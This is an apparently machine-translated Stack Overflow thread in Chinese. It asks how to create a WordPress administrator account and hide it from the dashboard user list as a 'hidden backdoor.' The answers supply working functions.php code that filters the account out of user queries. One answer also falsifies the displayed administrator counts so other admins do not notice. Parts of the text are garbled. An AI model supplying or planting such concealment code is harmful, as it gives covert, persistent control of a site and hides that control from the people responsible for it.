从Wordpress用户列表中隐藏特定的管理员帐户

时间:2014-01-04 14:18:40

标签: wordpress hide admin

我想在Wordpress中创建一个管理员用户,然后将其隐藏在wordpress仪表板中的用户列表中,作为一种隐藏的后门。我不是要隐藏所有管理员,只是隐藏一个特定的管理员。

非常感谢任何帮助。

5 个答案:

答案 0 :(得分:14)

您可以使用functions.php中的自定义功能执行此操作。 这是一个例子:

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

或者您可以使用插件; http://wordpress.org/plugins/user-role-editor/

答案 1 :(得分:9)

结合&#34; angezanetti&#34; 的答案,&#34; Natalia&#34; 的问题以及&#的响应34;用户3474007&#34; 到Natalia,此代码将隐藏所有其他用户(包括管理员)的用户。

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}

答案 2 :(得分:4)

angezanetti 有一个非常好的解决方案,但即使 hiddenuser 从管理员列表中隐藏,显示的管理员总数仍然保持不变,可能会有疑问给某人。 我通过 Symbolwdd 获取了代码,并添加了正确显示的管理员数量的行:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

答案 3 :(得分:2)

我知道,这是一个古老的话题,但今天有人给我发了这个链接..

一次更新:该钩子不再是pre_user_query而是wp_user_query

此外,使用此方法,您只能将帐户隐藏在此特定管理员帐户中。不是全部。如果稍后添加其他管理员该怎么办?

我要做的是隐藏任何人的“秘密”帐户,除了他们自己(为了能够编辑它)。

答案 4 :(得分:1)

@Natalia - 如果您想阻止所有其他管理员查看您的帐户,只需更改

即可
-9

if ($username == '<USERNAME OF OTHER ADMIN>') { 

这样您就可以将帐户隐藏到除您的帐户以外的所有其他帐户。